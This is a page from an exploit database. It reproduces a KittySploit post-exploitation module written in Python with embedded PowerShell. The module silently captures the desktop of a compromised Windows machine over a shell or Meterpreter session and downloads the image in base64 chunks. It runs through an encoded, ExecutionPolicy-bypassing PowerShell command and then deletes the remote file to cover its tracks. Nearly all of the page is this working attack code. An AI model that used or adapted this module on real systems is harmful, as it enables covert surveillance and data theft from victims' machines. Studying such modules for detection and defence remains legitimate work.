Lucene search
+L

Windows Take Screenshot

🗓️ 26 Jun 2026 08:41:24Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Capture the primary Windows desktop to a PNG via a shell or Meterpreter session.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Capture the primary Windows desktop to a PNG on the target, then download it
through the current shell or Meterpreter session and save it under ./output.
"""

from kittysploit import *
from lib.post.windows.session import win_compat_failure_type, win_probe_powershell
import base64
import os
import re
import time

_LOCAL_OUT = "output"
_FILE_MARKER = "__KS_FILE__:"


class Module(Post):
    _AUTO_CLEANUP = True

    __info__ = {
        "name": "Windows Take Screenshot",
        "description": (
            "Capture the primary monitor desktop to a PNG file on a Windows shell "
            "or Meterpreter session, then download the image through the session."
        ),
        "author": "KittySploit Team",
        "platform": Platform.WINDOWS,
        "session_type": [SessionType.METERPRETER, SessionType.SHELL],
        "references": [
            "https://attack.mitre.org/techniques/T1113/"],
        "tags": ["screenshot", "powershell", "screen"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }

    out_dir = OptString("", "Remote directory for screenshot.png (default: %TEMP%)", False)
    chunk_kb = OptInteger(100, "Chunk size in kilobytes for session reads", False)

    def _execute_cmd(self, command: str) -> str:
        if not command:
            return ""
        output = self.cmd_execute(command)
        return output.strip() if output else ""

    def _encode_powershell(self, script: str) -> str:
        return base64.b64encode(script.encode("utf-16le")).decode("ascii")

    def _run_powershell(self, script: str) -> str:
        encoded = self._encode_powershell(script)
        return self._execute_cmd(
            "powershell -NoP -NonI -ExecutionPolicy Bypass -EncodedCommand " + encoded
        )

    def _remote_temp_dir(self) -> str:
        if str(self.out_dir or "").strip():
            return str(self.out_dir).strip().rstrip("\\")
        output = self._execute_cmd("echo %TEMP%")
        if output:
            return output.splitlines()[0].strip().rstrip("\\")
        return "C:\\Windows\\Temp"

    def _ps_single_quote(self, value: str) -> str:
        return str(value).replace("'", "''")

    def _powershell_script(self, output_dir: str) -> str:
        out = self._ps_single_quote(output_dir)
        return f"""
$ErrorActionPreference = 'Stop'
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

function Get-ScreenResolution {{
    [System.Windows.Forms.Screen]::AllScreens | ForEach-Object {{
        [PSCustomObject]@{{
            DeviceName       = $_.DeviceName
            Width            = $_.Bounds.Width
            Height           = $_.Bounds.Height
            IsPrimaryMonitor = $_.Primary
        }}
    }}
}}

function Capture-Screen {{
    param (
        [System.Drawing.Rectangle]$Bounds,
        [string]$Path
    )
    $bmp = New-Object System.Drawing.Bitmap($Bounds.Width, $Bounds.Height)
    $graphics = [System.Drawing.Graphics]::FromImage($bmp)
    $graphics.CopyFromScreen($Bounds.Location, [System.Drawing.Point]::Empty, $Bounds.Size)
    $bmp.Save($Path, [System.Drawing.Imaging.ImageFormat]::Png)
    $graphics.Dispose()
    $bmp.Dispose()
}}

$OutputDir = '{out}'
if (-not (Test-Path -LiteralPath $OutputDir)) {{
    New-Item -ItemType Directory -Path $OutputDir -Force | Out-Null
}}

$primaryScreen = Get-ScreenResolution | Where-Object {{ $_.IsPrimaryMonitor -eq $true }} | Select-Object -First 1
if (-not $primaryScreen) {{
    throw 'No primary monitor detected'
}}

$bounds = [System.Drawing.Rectangle]::FromLTRB(0, 0, $primaryScreen.Width, $primaryScreen.Height)
$screenshotPath = Join-Path -Path $OutputDir -ChildPath 'screenshot.png'
Capture-Screen -Bounds $bounds -Path $screenshotPath
Write-Output ('{_FILE_MARKER}' + $screenshotPath)
"""

    def _int_opt(self, val, default, minimum=None):
        try:
            n = int(val)
        except Exception:
            n = default
        if minimum is not None and n < minimum:
            n = minimum
        return n

    def _remote_file_size(self, path: str) -> int:
        pq = self._ps_single_quote(path)
        ps = f"(Get-Item -LiteralPath '{pq}').Length"
        out = self._run_powershell(ps).strip()
        if not out:
            return 0
        tail = out.splitlines()[-1].strip()
        try:
            return int(tail)
        except ValueError:
            digits = re.sub(r"\D", "", tail)
            return int(digits) if digits else 0

    def _read_remote_chunk_b64(self, path: str, offset: int, length: int) -> bytes:
        pq = self._ps_single_quote(path)
        ps = f"""$fs = [IO.File]::OpenRead('{pq}')
try {{
  $null = $fs.Seek({int(offset)}, [IO.SeekOrigin]::Begin)
  $buf = New-Object byte[] {int(length)}
  $n = $fs.Read($buf, 0, {int(length)})
  if ($n -le 0) {{ '' }} else {{ [Convert]::ToBase64String($buf, 0, $n) }}
}} finally {{
  $fs.Close()
}}"""
        out = self._run_powershell(ps)
        clean = re.sub(r"\s+", "", out)
        if not clean:
            return b""
        return base64.b64decode(clean)

    def _pull_file_via_session(self, remote_path: str, local_path: str) -> bool:
        size = self._remote_file_size(remote_path)
        if size <= 0:
            print_error(f"Remote screenshot is missing or empty: {remote_path}")
            return False

        chunk = max(1024, self._int_opt(self.chunk_kb, 100, None) * 1024)
        parts = []
        offset = 0
        while offset < size:
            n = min(chunk, size - offset)
            blob = self._read_remote_chunk_b64(remote_path, offset, n)
            if len(blob) != n:
                print_error(f"Chunk read mismatch at offset {offset} (expected {n} bytes, got {len(blob)}).")
                return False
            parts.append(blob)
            offset += n

        parent = os.path.dirname(os.path.abspath(local_path))
        if parent:
            os.makedirs(parent, exist_ok=True)
        with open(local_path, "wb") as f:
            f.write(b"".join(parts))
        return True

    def _parse_remote_file(self, output: str) -> str:
        for line in output.splitlines():
            line = line.strip()
            if line.startswith(_FILE_MARKER):
                return line[len(_FILE_MARKER):].strip()
        return ""

    def _cleanup_remote(self, path: str) -> None:
        if not path:
            return
        self._execute_cmd(f'del /f /q "{path}"')

    def check(self):
        if not win_probe_powershell(self._execute_cmd):
            print_error("PowerShell is not available on the target")
            return False
        return True

    def run(self):
        if not self.check():
            raise ProcedureError(win_compat_failure_type(), "PowerShell is not available on the target")

        temp_dir = self._remote_temp_dir()
        stamp = time.strftime("%Y%m%d_%H%M%S")
        local_path = os.path.join(_LOCAL_OUT, f"screenshot_{stamp}.png")
        os.makedirs(_LOCAL_OUT, exist_ok=True)

        print_status("Capturing primary monitor screenshot...")
        result = self._run_powershell(self._powershell_script(temp_dir))
        remote_path = self._parse_remote_file(result)

        if not remote_path:
            if re.search(r"(Exception|failed|No primary monitor)", result, re.I):
                print_error(result or "Screenshot capture failed without output")
                raise ProcedureError(FailureType.Unknown, "Screenshot capture failed")
            raise ProcedureError(FailureType.Unknown, "No screenshot path was returned")

        if not self._pull_file_via_session(remote_path, local_path):
            if self._AUTO_CLEANUP:
                self._cleanup_remote(remote_path)
            raise ProcedureError(FailureType.Unknown, f"Failed to download {remote_path}")

        if self._AUTO_CLEANUP:
            self._cleanup_remote(remote_path)

        rel = os.path.join(".", local_path)
        print_success(f"Screenshot saved: {rel} ({os.path.getsize(local_path)} bytes)")
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.9Medium risk
Vulners AI Score5.9
1